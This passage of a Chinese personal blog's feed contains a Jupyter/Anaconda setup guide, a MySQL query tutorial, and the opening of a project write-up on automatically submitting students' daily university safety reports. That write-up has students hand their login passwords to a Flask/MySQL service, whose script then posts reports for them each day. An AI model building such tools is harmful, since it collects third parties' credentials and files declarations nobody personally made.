为什么需要数据分析能力？</h4><p>举例：</p><ol><li>通过数据分析，我们可以更好地了解用户画像，为企业做留存率、流失率等指标分析，进而精细化产品运营。</li><li>面对生活中遇到的种种麻烦，数据分析也可以提供解决方案，比如信用卡反欺诈，自动屏蔽垃圾邮件等。</li><li>如果你关注比特币，数据分析可以帮助你预测比特币的走势。</li></ol><p><strong>案例分析</strong></p><p>故事内容这个故事发生于20世纪90年代的美国超市中，超市管理人员分析销售数据时发现了一个令人难于理解的现象：在某些特定的情况下，“啤酒”与“尿布”两件看上去毫无关系的商品会经常出现在同一个购物篮中，这种独特的销售现象引起了管理人员的注意，经过后续调查发现，这种现象出现在年轻的父亲身上。</p><p>故事起因在美国有婴儿的家庭中，一般是母亲在家中照看婴儿，年轻的父亲前去超市购买尿布。父亲在购买尿布的同时，往往会顺便为自己购买啤酒，这样就会出现啤酒与尿布这两件看上去不相干的商品经常会出现在同一个购物篮的现象。</p><p>如果这个年轻的父亲在卖场只能买到两件商品之一，则他很有可能会放弃购物而到另一家商店，直到可以一次同时买到啤酒与尿布为止。</p><p>超市发现了这一独特的现象，开始在卖场尝试将啤酒与尿布摆放在相同的区域，让年轻的父亲可以同时找到这两件商品，并很快地完成购物。</p><p>故事小结这个故事是因为有数据分析的结果支持才会获得成功并得到广泛传播，通过分析购物篮中的商品集合数据，找出商品之间的关联关系，发现客户的购买行为，从而获得更多的商品销售收入</p><blockquote><p>经典数据挖掘案例：<a href="https://www.sohu.com/a/243626833_99923499">https://www.sohu.com/a/243626833_99923499</a></p></blockquote><h2 id="二、环境搭建">二、环境搭建</h2><h3 id="2、1-Anaconda：">2、1 Anaconda：</h3><p><code>Anaconda（水蟒）</code>是一个捆绑了<code>Python</code>、<code>conda</code>、其他相关依赖包的一个软件。包含了180多个科学计算包及其依赖。<code>Anaconda3</code>是集成了<code>Python3</code>的环境，<code>Anaconda2</code>是集成了<code>Python2</code>的环境。<code>Anaconda</code>默认集成的包，是属于内置的<code>Python</code>的包。并且支持绝大部分操作系统（比如：Windows、Mac、Linux等）。下载地址如下：<code>https://www.anaconda.com/distribution/</code>（如果官网下载太慢，可以在清华大学开源软件站中下载：<code>https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/</code>）。根据自己的操作系统，下载相应的版本，因为<code>Anaconda</code>内置了许多的包，所以安装过程需要耗费相当长的时间，大家在安装的时候需要耐心等待。在安装完成后，会有以下几个模块：<code>Anaconda prompt</code>、<code>Anaconda Navigator</code>、<code>Spyder</code>、<code>jupyter notebook</code>，以下分别做一些介绍。</p><h4 id="2、1、1-Anaconda-prompt：">2、1、1 Anaconda prompt：</h4><p><code>Anaconda prompt</code>是专门用来操作<code>anaconda</code>的终端。如果你安装完<code>Anaconda</code>后没有在环境变量的<code>PATH</code>中添加相关的环境变量，那么以后你想在终端使用<code>anaconda</code>相关的命令，则必须要在<code>Anaconda prompt</code>中完成。</p><h4 id="2、1、2-Anaconda-Navigator：">2、1、2 Anaconda Navigator：</h4><p>这个相当于是一个导航面板，上面组织了<code>Anaconda</code>相关的软件。</p><h4 id="2、1、3-Spyder：">2、1、3 Spyder：</h4><p>一个专门开发<code>Python</code>的软件，熟悉<code>MATLAB</code>的同学会比较有亲切感，但在后期的学习过程中，我们将不会使用这个工具写代码，因为还有更好的可替代的工具。</p><h3 id="2、2-Jupyter-介绍">2、2 Jupyter 介绍</h3><p>Jupyter项目是一个非盈利的开源项目，源于2014年的ipython项目，因为它逐渐发展为支持跨所有编程语言的交互式数据科学和科学计算</p><ul><li>Jupyter Notebook，原名IPython Notbook，是IPython的加强网页版，一个开源Web应用程序</li><li>名字源自Julia、Python 和 R（数据科学的三种开源语言）</li><li>是一款程序员和科学工作者的<strong>编程/文档/笔记/展示</strong>软件</li><li><strong>.ipynb</strong>文件格式是用于计算型叙述的<strong>JSON文档格式</strong>的正式规范</li></ul><h4 id="2、2、1-为什么使用-Jupyter-Notebook">2、2、1 为什么使用 Jupyter Notebook ?</h4><ul><li>传统软件开发： 工程／目标明确<ul><li>需求分析，设计架构，开发模块，测试</li></ul></li><li>数据挖掘：艺术／目标不明确<ul><li>目的是具体的洞察目标，而不是机械的完成任务</li><li>通过执行代码来理解问题</li><li>迭代式地改进代码来改进解决方法</li></ul></li></ul><p>实时运行的代码、叙事性的文本和可视化被整合在一起，方便使用代码和数据来讲述故事</p><p>一个Python编辑环境，可以实时的查看代码的运行效果。</p><h4 id="2、2、2-对比-Jupyter-Notebook-和-Pycharm">2、2、2 对比 Jupyter Notebook 和 Pycharm</h4><p>Jupyter Notebook 相比 Pycharm 在画图和数据展示方面更有优势。</p><h3 id="2、3-Jupyter-Notebook-的使用">2、3 Jupyter Notebook 的使用</h3><h4 id="2、3、1-jupyter-安装与适配">2、3、1 jupyter 安装与适配</h4><ul><li><p>首先在终端下安装 jupyter，Anaconda环境下默认自带会安装</p><pre class="language-cmd" data-language="cmd"><code class="language-cmd">pip install jupyter</code></pre></li><li><p>安装jupyter拓展库</p><pre class="language-cmd" data-language="cmd"><code class="language-cmd">pip install autopep8  # 安装pep8代码规范的模块pip install jupyter_contrib_nbextensions  # 安装 jupyter 拓展包pip install yapf  # 安装拓展包依赖的第三方功能模块</code></pre></li><li><p>拓展包安装后需要执行命令适配</p><pre class="language-cmd" data-language="cmd"><code class="language-cmd">&quot;&quot;&quot;拓展包适配&quot;&quot;&quot;jupyter contrib nbextension install --userjupyter nbextension enable code_prettify&#x2F;code_prettify</code></pre></li><li><p>环境搭建好后，在命令行下输入 <code>jupyter notebook</code> 命令，会自动弹出浏览器窗口打开 Jupyter Notebook</p><pre class="language-cmd" data-language="cmd"><code class="language-cmd"># 输入命令jupyter notebook</code></pre><p>本地notebook的默认URL为：<a href="http://localhost:8888">http://localhost:8888</a></p><blockquote><p>想让notebook打开指定目录，只要进入此目录后执行命令即可</p></blockquote></li><li><p>打开<code>jupyter notebook</code>以后，在<code>Nbextensions</code>选项下勾选配置选项，如下图所示：</p></li><li><p>添加拓展配置以后的效果</p></li><li><p><code>Jupyter notebook</code>汉化，更改为中文界面</p><ul><li><p>首先桌面-此电脑-右击 属性，选择<strong>高级系统设置</strong></p></li><li><p>弹出的选项卡中，选择 高级–环境变量</p></li><li><p>选择上面的用户变量，是用户变量，点击新建，新建用户变量</p><pre class="language-none"><code class="language-none">变量名：LANG 变量值：zh_CN.UTF8</code></pre></li></ul><pre class="language-none"><code class="language-none">  </code></pre></li><li><blockquote><p>重要：配置好后需要关闭cmd终端，重新启动<code>jupyter</code>才会生效。</p></blockquote></li></ul><h4 id="2、3、2-创建文件">2、3、2 创建文件</h4><ul><li><p>新建notebook文档</p></li><li><p>内容界面操作</p></li></ul><p>**标题栏：**点击标题（如Untitled）修改文档名</p><h4 id="2、3、3-cell-单元格操作">2、3、3 cell 单元格操作</h4><ul><li>什么是cell？<ul><li><strong>cell</strong>：一对In Out会话被视作一个代码单元，称为cell</li><li>cell行号前的 * ，表示代码正在运行</li></ul></li></ul><p>Jupyter支持两种模式：</p><ul><li>编辑模式（Enter）<ul><li>命令模式下<code>回车Enter</code>或<code>鼠标双击</code>cell进入编辑模式</li><li>可以<strong>操作cell内文本</strong>或代码，剪切／复制／粘贴移动等操作</li></ul></li><li>命令模式（Esc）<ul><li>按<code>Esc</code>退出编辑，进入命令模式</li><li>可以<strong>操作cell单元本身</strong>进行剪切／复制／粘贴／移动等操作</li></ul></li></ul><h5 id="快捷键操作">快捷键操作</h5><ul><li><p>两种模式通用快捷键</p><ul><li><strong><code>Shift+Enter</code>，执行本单元代码，并跳转到下一单元</strong></li><li><strong><code>Ctrl+Enter</code>，执行本单元代码，留在本单元</strong></li></ul></li><li><p><strong>命令模式</strong>：按ESC进入</p><ul><li>Y ：在命令模式下转入代码状态</li><li>M ：在命令模式下切换到 Markdown</li><li>R ：普通文本，运行不会输出结果</li><li>L ：为当前cell加上行号</li><li>A：在该单元格的上方插入新单元格</li><li>B：在该单元格的下方插入新单元格</li><li>X：剪切选中的单元</li><li>C：复制选中的单元</li><li>V：粘贴到下方单元</li><li>DD：删除选中的单元（敲两个D）</li></ul></li><li><p>其他(了解)</p><ul><li><code>双击D</code>：删除当前cell</li><li><code>Z</code>，回退</li><li>快速跳转到首个cell，<code>Crtl+Home</code></li><li>快速跳转到最后一个cell，<code>Crtl+End</code> --&gt;</li></ul></li><li><p><strong>编辑模式</strong>：按Enter进入</p><ul><li>补全代码：变量、方法后跟<code>Tab键</code></li><li>为一行或多行代码添加/取消注释：<code>Ctrl+/</code>（Mac:CMD+/）</li></ul></li><li><p>其他(了解)：</p><ul><li>多光标操作：<code>Ctrl键点击鼠标</code>（Mac:CMD+点击鼠标）</li><li>回退：<code>Ctrl+Z</code>（Mac:CMD+Z）</li><li>重做：<code>Ctrl+Y</code>（Mac:CMD+Y)</li></ul></li></ul><h5 id="markdown演示">markdown演示</h5><p>掌握标题和缩进即可</p><h5 id="其他操作">其他操作</h5><blockquote><p>函数名 + ? 查看源码</p></blockquote><blockquote><p>Tab 自动补全：如果敲代码没有自动补全，可以用<strong>Tab</strong>查看代码提示</p></blockquote><h2 id="三、小结及注意事项">三、小结及注意事项</h2><ul><li>是什么<ul><li>是一个 ipython 的 web 加强版</li></ul></li><li>为什么要使用jupyter<ul><li>用于数据探索过程</li></ul></li><li>怎么用<ul><li>1.通过 jupyter notebook 就可以使用</li><li>2.保存文件是.ipynb</li><li>3.每个内容,都对应的是一个cell</li></ul></li><li>快捷键<ul><li><p>Shift+Enter，执行本单元代码，并跳转到下一单元</p></li><li><p>Ctrl+Enter，执行本单元代码，留在本单元</p></li></ul></li></ul><p><strong>注意事项</strong></p><p><code>jupyter notebook</code>每一个<code>cell</code>运行完后都会把这个<code>cell</code>中的变量保存到内存中，如果在一个<code>cell</code>中修改了之前的变量，再此运行这个<code>cell</code>的时候可能会导致一些问题产生。比如以下代码：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># 第一个cell中的代码</span>a <span class="token operator">=</span> <span class="token number">10</span>b <span class="token operator">=</span> <span class="token number">20</span><span class="token comment"># 第二个cell中的代码</span>c <span class="token operator">=</span> a<span class="token operator">/</span>bb <span class="token operator">=</span> <span class="token number">0</span></code></pre><p>因为第二个<code>cell</code>修改了<code>b</code>变量，此时在整个环境中<code>b</code>都是等于0的，所以以后再运行这个<code>cell</code>的时候，<code>a/b</code>这个就会出问题了。这时候可以使用<code>Kernel-&gt;Restart&amp;Run All</code>来重新运行整个项目。</p><h2 id="附录：Jupyter-常用快捷键">附录：Jupyter 常用快捷键</h2><h3 id="命令模式（按Esc键）：">命令模式（按Esc键）：</h3><ol><li>Enter：转入编辑模式</li><li>Shift-Enter：运行本单元，选中下个单元</li><li>Ctrl-Enter：运行本单元</li><li>Alt-Enter：运行本单元，在其下插入新单元</li><li>Y：单元转入代码状态</li><li>M：单元转入markdown状态</li><li>R：单元转入raw状态</li><li>1：设定 1 级标题</li><li>2：设定 2 级标题</li><li>3：设定 3 级标题</li><li>4：设定 4 级标题</li><li>5：设定 5 级标题</li><li>6：设定 6 级标题</li><li>Up：选中上方单元</li><li>K：选中上方单元</li><li>Down：选中下方单元</li><li>J：选中下方单元</li><li>Shift-K：扩大选中上方单元</li><li>Shift-J：扩大选中下方单元</li><li>A：在上方插入新单元</li><li>B：在下方插入新单元</li><li>X：剪切选中的单元</li><li>C：复制选中的单元</li><li>Shift-V：粘贴到上方单元</li><li>V：粘贴到下方单元</li><li>Z：恢复删除的最后一个单元</li><li>D,D：删除选中的单元</li><li>Shift-M：合并选中的单元</li><li>Ctrl-S：文件存盘</li><li>S：文件存盘</li><li>L：转换行号</li><li>O：转换输出</li><li>Shift-O：转换输出滚动</li><li>Esc：关闭页面</li><li>Q：关闭页面</li><li>H：显示快捷键帮助</li><li>I,I：中断Notebook内核</li><li>0,0：重启Notebook内核</li><li>Shift：忽略</li><li>Shift-Space：向上滚动</li><li>Space：向下滚动</li></ol><h3 id="编辑模式：">编辑模式：</h3><ol><li>Tab : 代码补全或缩进</li><li>Shift-Tab : 提示</li><li>Ctrl-] : 缩进</li><li>Ctrl-[ : 解除缩进</li><li>Ctrl-A : 全选</li><li>Ctrl-Z : 复原</li><li>Ctrl-Shift-Z : 再做</li><li>Ctrl-Y : 再做</li><li>Ctrl-Home : 跳到单元开头</li><li>Ctrl-Up : 跳到单元开头</li><li>Ctrl-End : 跳到单元末尾</li><li>Ctrl-Down : 跳到单元末尾</li><li>Ctrl-Left : 跳到左边一个字首</li><li>Ctrl-Right : 跳到右边一个字首</li><li>Ctrl-Backspace : 删除前面一个字</li><li>Ctrl-Delete : 删除后面一个字</li><li>Esc : 进入命令模式</li><li>Ctrl-M : 进入命令模式</li><li>Shift-Enter : 运行本单元，选中下一单元</li><li>Ctrl-Enter : 运行本单元</li><li>Alt-Enter : 运行本单元，在下面插入一单元</li><li>Ctrl-Shift-- : 分割单元</li><li>Ctrl-Shift-Subtract : 分割单元</li><li>Ctrl-S : 文件存盘</li><li>Shift : 忽略</li><li>Up : 光标上移或转入上一单元</li><li>Down :光标下移或转入下一单元</li></ol><h2 id="附录：conda基本使用">附录：conda基本使用</h2><p><code>conda</code>伴随着<code>Anaconda</code>安装而自动安装的。<code>conda</code>可以跟<code>virtualenv</code>一样管理不同的环境，也可以跟<code>pip</code>一样管理某个环境下的包。以下来看看两个功能的用法。</p><h3 id="环境管理：">环境管理：</h3><p><code>conda</code>能跟<code>virtualenv</code>一样管理不同的<code>Python</code>环境，不同的环境之间是互相隔离，互不影响的。为什么需要创建不同的环境呢？原因是有时候项目比较多，但是项目依赖的包不一样，比如<code>A</code>项目用的是<code>Python2</code>开发的，而<code>B</code>项目用的是<code>Python3</code>开发的，那么我们在同一台电脑上就需要两套不同的环境来支撑他们运行了。创建环境的基本命令如下：</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># conda create --name [环境名称] 比如以下：</span>conda create --name da-env</code></pre><p>这样将创建一个叫做<code>da-env</code>的环境，这个环境的<code>python</code>解释器根据<code>anaconda</code>来，如果<code>anaconda</code>为<code>3.7</code>，那么将默认使用<code>3.7</code>的环境，如果<code>anaconda</code>内置的是<code>2.7</code>，那么将默认使用<code>2.7</code>的环境。然后你就可以使用<code>conda install numpy</code>的方式来安装包了，并且这样安装进来的包，只会安装在当前环境中。有的同学可能有想问，如果想要装一个<code>Python2.7</code>的环境，<code>anaconda</code>中没有内置<code>Python2.7</code>，那么该怎么实现呢？。实际上，我们只需要在安装的时候指定<code>python</code>的版本，如果这个版本现在不存在，那么<code>anaconda</code>会自动的给我们下载。所以安装<code>Python2.7</code>的环境，使用以下代码即可实现：</p><pre class="language-none"><code class="language-none">conda create --name xxx python&#x3D;2.7</code></pre><p>以下再列出<code>conda</code>管理环境的其他命令：</p><ol><li><p>创建的时候指定需要安装的包：</p><pre class="language-none"><code class="language-none">conda create --name xxx numpy pandas</code></pre></li><li><p>创建的时候既需要指定包，也需要指定python环境：</p><pre class="language-none"><code class="language-none">conda create --name xxx python&#x3D;3.6 numpy pandas</code></pre></li><li><p>进入到某个环境</p><pre class="language-none"><code class="language-none">windows: activate xxxmac&#x2F;linux: source activate xxx</code></pre></li><li><p>退出环境：</p><pre class="language-none"><code class="language-none">deactivate</code></pre></li><li><p>列出当前所有的环境：</p><pre class="language-none"><code class="language-none">conda env list</code></pre></li><li><p>移除某个环境：</p><pre class="language-none"><code class="language-none">conda remove --name xxx --all</code></pre></li><li><p>环境下的包导出和导入：</p><ul><li>导出：<code>conda env export &gt; environment.yml</code>。</li><li>导入：<code>conda env create --name xxx -f environment.yml</code>。</li></ul></li></ol><h4 id="包管理：">包管理：</h4><p><code>conda</code>也可以用来管理包。比如我们创建完一个新的环境后，想要在这个环境中安装包（比如numpy），那么可以通过以下代码来实现：</p><pre class="language-python" data-language="python"><code class="language-python">activate xxxconda install numpy</code></pre><p>以下再介绍一些包管理常用的命令：</p><ol><li><p>在不进入某个环境下直接给这个环境安装包：</p><pre class="language-none"><code class="language-none">conda install [包名] -n [环境名]</code></pre></li><li><p>列出该环境下所有的包：</p><pre class="language-none"><code class="language-none">conda list</code></pre></li><li><p>卸载某个包：</p><pre class="language-none"><code class="language-none">conda remove [包名]</code></pre></li><li><p>设置安装包的源：</p><pre class="language-none"><code class="language-none">conda config --add channels https:&#x2F;&#x2F;mirrors.tuna.tsinghua.edu.cn&#x2F;anaconda&#x2F;pkgs&#x2F;free&#x2F;conda config --add channels https:&#x2F;&#x2F;mirrors.tuna.tsinghua.edu.cn&#x2F;anaconda&#x2F;pkgs&#x2F;main&#x2F;conda config --set show_channel_urls yes</code></pre></li></ol>]]></content>
    
    
    <summary type="html">基础知识以及环境搭建（附Jupyter快捷键）</summary>
    
    
    
    <category term="Python" scheme="https://blog.alexation.cn/categories/Python/"/>
    
    
    <category term="Python" scheme="https://blog.alexation.cn/tags/Python/"/>
    
    <category term="Jupyter" scheme="https://blog.alexation.cn/tags/Jupyter/"/>
    
  </entry>
  
  <entry>
    <title>MySQL语句简介</title>
    <link href="https://blog.alexation.cn/database/mysql/"/>
    <id>https://blog.alexation.cn/database/mysql/</id>
    <published>2022-04-28T08:22:40.000Z</published>
    <updated>2025-11-23T06:25:15.810Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">MySQL语句简介</h1><h3 id="MySQL的数据类型">MySQL的数据类型</h3><ul><li>MySQL支持多种类型，大致可以分为三类：数值、日期/时间和字符串(字符)类型。</li><li>备注: char 和varchar 一定要指定长度，float 会自动提升为double，timestamp 是时间的混合类型，理 论上可以存储 时间格式和时间戳。</li></ul><table><thead><tr><th>类型</th><th>用途</th></tr></thead><tbody><tr><td>int</td><td>整型，相当于java的int</td></tr><tr><td>bigint</td><td>整型，相当于java的long</td></tr><tr><td>float</td><td>浮点型</td></tr><tr><td>double</td><td>浮点型</td></tr><tr><td>datatime</td><td>日期类型</td></tr><tr><td>timestamp</td><td>日期类型（可储存时间戳</td></tr><tr><td>char</td><td>定长字符</td></tr><tr><td>varchar</td><td>不定长字符</td></tr><tr><td>text</td><td>大文本，用于储存比较长的字符内容</td></tr><tr><td>blob</td><td>字节数据类型，储存图片、音频等文件</td></tr></tbody></table><h3 id="建表操作">建表操作</h3><p>– 删除表<br>DROP TABLE IF EXISTS 表名;<br>– 新建表<br>create table 表名(字段名 类型 约束（主键，非空，唯一，默认值），字段名 类型 约束（主键，非空，唯一，默认值)编码，存储引擎；</p><blockquote><p>在 SQL 中，我们有如下约束：</p><ul><li>NOT NULL - 指示某列不能存储 NULL 值。</li><li>UNIQUE - 保证某列的每行必须有唯一的值。</li><li>PRIMARY KEY - NOT NULL 和 UNIQUE 的结合。确保某列（或两个列多个列的结合）有唯一标识，有助 于更容易更快速地找到表中的一个特定的记录。</li><li>FOREIGN KEY - 保证一个表中的数据匹配另一个表中的值的参照完整性。</li><li>CHECK - 保证列中的值符合指定的条件。</li><li>DEFAULT - 规定没有给列赋值时的默认值。</li></ul></blockquote><ul><li>实例</li></ul><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">DROP TABLE IF EXISTS &#96;websites&#96;;CREATE TABLE &#96;websites&#96; (id int(11) NOT NULL AUTO_INCREMENT,name char(20) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;站点名称&#39;,url varchar(255) NOT NULL DEFAULT &#39;&#39;,alexa int(11) NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;Alexa 排名&#39;,sal double COMMENT &#39;广告收入&#39;,country char(10) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;国家&#39;,PRIMARY KEY (id)) ENGINE&#x3D;InnoDB DEFAULT CHARSET&#x3D;utf8;</code></pre><h3 id="插入、删除、更新">插入、删除、更新</h3><ul><li>插入语句</li></ul><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">INSERT INTO websites(name, url,alexa,sal,country ) VALUES (&#39;腾讯&#39;, &#39;https:&#x2F;&#x2F;www.qq.com&#39;,18, 1000,&#39;CN&#39; ) ;</code></pre><ul><li>删除语句</li></ul><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">delete from websites where id &#x3D; 5;</code></pre><ul><li>更新语句</li></ul><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">update websites set sal &#x3D; null where id &#x3D; 3</code></pre><h3 id="基本select查询语句">基本select查询语句</h3><ul><li>初始化数据</li></ul><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">DROP TABLE IF EXISTS &#96;websites&#96;;CREATE TABLE &#96;websites&#96; (id int(11) NOT NULL AUTO_INCREMENT,name char(20) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;站点名称&#39;,url varchar(255) NOT NULL DEFAULT &#39;&#39;,alexa int(11) NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;Alexa 排名&#39;,sal double COMMENT &#39;广告收入&#39;,country char(10) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;国家&#39;,PRIMARY KEY (id)) ENGINE&#x3D;InnoDB DEFAULT CHARSET&#x3D;utf8;INSERT INTO &#96;websites&#96; VALUES(1, &#39;Google&#39;, &#39;https:&#x2F;&#x2F;www.google.cm&#x2F;&#39;, &#39;1&#39;, 2000,&#39;USA&#39;),(2, &#39;淘宝&#39;, &#39;https:&#x2F;&#x2F;www.taobao.com&#x2F;&#39;, &#39;13&#39;,2050, &#39;CN&#39;),(3, &#39;菜鸟教程&#39;, &#39;http:&#x2F;&#x2F;www.runoob.com&#x2F;&#39;, &#39;4689&#39;,0.0001, &#39;CN&#39;),(4, &#39;微博&#39;, &#39;http:&#x2F;&#x2F;weibo.com&#x2F;&#39;, &#39;20&#39;,50, &#39;CN&#39;),(5, &#39;Facebook&#39;, &#39;https:&#x2F;&#x2F;www.facebook.com&#x2F;&#39;, &#39;3&#39;, 500,&#39;USA&#39;);CREATE TABLE IF NOT EXISTS &#96;access_log&#96; (&#96;aid&#96; int(11) NOT NULL AUTO_INCREMENT,&#96;site_id&#96; int(11) NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;网站id&#39;,&#96;count&#96; int(11) NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;访问次数&#39;,&#96;date&#96; date NOT NULL,PRIMARY KEY (&#96;aid&#96;)) ENGINE&#x3D;InnoDB DEFAULT CHARSET&#x3D;utf8;INSERT INTO &#96;access_log&#96; (&#96;aid&#96;, &#96;site_id&#96;, &#96;count&#96;, &#96;date&#96;) VALUES(1, 1, 45, &#39;2016-05-10&#39;),(2, 3, 100, &#39;2016-05-13&#39;),(3, 1, 230, &#39;2016-05-14&#39;),(4, 2, 10, &#39;2016-05-14&#39;),(5, 5, 205, &#39;2016-05-14&#39;),(6, 4, 13, &#39;2016-05-15&#39;),(7, 3, 220, &#39;2016-05-15&#39;),(8, 5, 545, &#39;2016-05-16&#39;),(9, 3, 201, &#39;2016-05-17&#39;),(10, 88, 9999, &#39;2016-09-09&#39;);</code></pre><ul><li>查询语句</li></ul><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select * from websitesselect id, name, url, alexa, sal, country from websites</code></pre><h3 id="分页查询">分页查询</h3><blockquote><p>MySQL分页很优雅</p></blockquote><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select * from websites limit 2,3 ; -- 从第2条(下标从0开始)开始查，查3条数据select * from websites limit 3 ; -- 从第0条(下标从0开始)开始查，查3条数据</code></pre><h3 id="distinct关键字">distinct关键字</h3><blockquote><p>Distinct关键字用于返回唯一不同的值</p></blockquote><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select distinct country from websites</code></pre><h3 id="where语句">where语句</h3><blockquote><p>作为条件筛选, 运算符: &gt; &lt; &gt;= &lt;= &lt;&gt; != =</p><p>is null is not null (因为在sql 语句中null 和任何东西比较都是假，包括它本身)</p><p>like in</p></blockquote><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select * from websites where sal &gt; 500</code></pre><h3 id="逻辑条件：and、or">逻辑条件：and、or</h3><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select * from websites where sal &gt;&#x3D; 0 and sal &lt;&#x3D;2000 ; -- 收入在 0 到 2000 之间select * from websites where sal between 0 and 2000； -- 和上面一样的，没事找事select * from websites where sal &lt; 5 or sal is null ; -- 收入小于5 或者没收入</code></pre><blockquote><p>注意： null 的条件判断用 is null 或 is not null</p></blockquote><h3 id="order-by">order by</h3><p>排序: 默认情况下是升序，asc 可以省略 。</p><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select * from websites order by sal asc,alexa desc ;-- 先根据sal 升序排序，再根据 alexa 降序</code></pre><h3 id="like-和-通配符">like 和 通配符</h3><blockquote><ul><li>like 模糊查询</li><li>通配符<ul><li>% ： 0个或多个字符</li><li>_ : 1 个字符</li></ul></li></ul></blockquote><h3 id="in">in</h3><ul><li>匹配多个条件</li></ul><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select * from websites where country in (&#39;USA&#39;,&#39;鸟国&#39;,&#39;CN&#39;);</code></pre><ul><li>等价于</li></ul><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select * from websites where country &#x3D; &#39;USA&#39; or country &#x3D; &#39;鸟国&#39; or country &#x3D; &#39;CN&#39;</code></pre><h3 id="别名">别名</h3><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select tt.name &#39;网站名字&#39; from websites tt</code></pre><h4 id="Group-by-分组查询">Group by 分组查询</h4><blockquote><p>注意：分组时候的筛选用 having</p><p>常见的几个组函数： max() min() avg() count() sum()</p></blockquote><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select avg(sal) aa from websites where sal is not null group by country having aa &gt; 1500</code></pre><h3 id="连接查询">连接查询</h3><pre class="language-sqlite" data-language="sqlite"><code class="language-sqlite">select name,count,date from websites w , access_log a ; -- 著名的笛卡尔积，没什么意义的select name,count,date from websites w , access_log a where w.id &#x3D; a.site_id；-- 这是 1992的语法select name,count,date from websites w inner join access_log a on w.id &#x3D; a.site_id；-- 这是1999 年的语法，推荐使用select name,count,date from websites w left outer join access_log a on w.id &#x3D; a.site_id；-- 把没有访问的网站也显示出来-- 注意: inner 和 outer 是可以默认省略的。</code></pre>]]></content>
    
    
    <summary type="html">这是一份MySQL语句总结、当然也是一份入门教程。</summary>
    
    
    
    <category term="数据库" scheme="https://blog.alexation.cn/categories/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
    
    <category term="MySQL" scheme="https://blog.alexation.cn/tags/MySQL/"/>
    
  </entry>
  
  <entry>
    <title>CTGU自动打卡</title>
    <link href="https://blog.alexation.cn/project/Yiqing/"/>
    <id>https://blog.alexation.cn/project/Yiqing/</id>
    <published>2022-02-14T04:37:09.000Z</published>
    <updated>2025-11-23T06:42:16.779Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">CTGU自动安全上报</h1><p>项目名称：CTGU自动安全上报</p><p>所使用技术栈：Vue2 + Flask + MySQL</p><p>实现过程：用户通过提交表单数据到Flask提供的API接口，将学号密码存储到MySQL数据库中，再通过服务器端Python脚本每天调用数据库参数对CTGU安全上报接口进行请求，达到自动安全上报。</p><p>源码地址：<a href="https://github.com/Alexation/Yiqing">Alexation/Yiqing: CTGU Auto Safety Report (github.com)</a></p><p>实现过程大致分为三个阶段：</p><ol><li>自动安全上报脚本编写</li><li>前端用户信息收集</li><li>后端提供API接口</li></ol><h2 id="自动安全上报脚本编写">自动安全上报脚本编写</h2><h3 id="Python脚本构造思路">Python脚本构造思路</h3><h4 id="1-明确需求（Website）">1.明确需求（Website）</h4><h4 id="2-发送请求（Request）">2.发送请求（Request）</h4><ul><li>请求方式：Get、Post</li><li>请求URL：URL全称统一资源定位符，如一个网页文档、一张图片、一个视频等都可以用URL唯一来确定</li><li>请求头：头部信息如User-Agent、Host、Cookies等信息</li><li>请求体：请求时额外携带的数据，如表单提交时的表单数据</li></ul><h4 id="3-获取数据（Response）">3.获取数据（Response）</h4><ul><li>响应状态：有多种响应状态，如200代表成果、301跳转、404找不到页面、502服务器错误等</li><li>响应头：如内容类型、内容长度、服务器信息、设置Cookie等</li><li>响应体：最主要的部分、包含了请求资源的内容，如网页的HTML、图片的二进制数据等</li></ul><h4 id="4-解析数据（Parse）">4.解析数据（Parse）</h4><ul><li>直接处理</li><li>Json解析</li><li>正则表达式</li><li>BeautifulSoup</li><li>Parsel</li><li>Xpath/CSS</li></ul><h4 id="5-存储数据（Database）">5.存储数据（Database）</h4><ul><li>文本：如纯文本、Json、Xml等</li><li>关系型数据库：如MySQL、Orcacle、SQL Server等</li><li>非关系型数据库：如MongoDB、Redis等key-value形式储存</li><li>二进制文件：如图片、视频、音频等直接保存成特定文件格式</li></ul><h3 id="根据网页结构编写代码">根据网页结构编写代码</h3><p>来到登录页面按下F12并刷新网页，因为登录涉及跳转甚至重定向，因此要勾选Preserve log选项。</p><p><img src="https://img.alexation.cn/blog/post/project/Yiqing/1.png" alt=""></p><p>实际抓包过程中，我们发现登录的Post请求并没有返回相应的关键字段，但是我们发现cookie字段中含有JSESSION便可推断当我们访问登录页面时，服务器返回JSESSION，之后通过我们登陆时的JSESSION对相应的账户进行匹配，于是我们可以直接构造Session对象维持会话。</p><p><img src="https://img.alexation.cn/blog/post/project/Yiqing/2.png" alt=""></p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># Origin Headers</span>headers <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'Host'</span><span class="token punctuation">:</span> <span class="token string">'yiqing.ctgu.edu.cn'</span><span class="token punctuation">,</span>    <span class="token string">'Referer'</span><span class="token punctuation">:</span> <span class="token 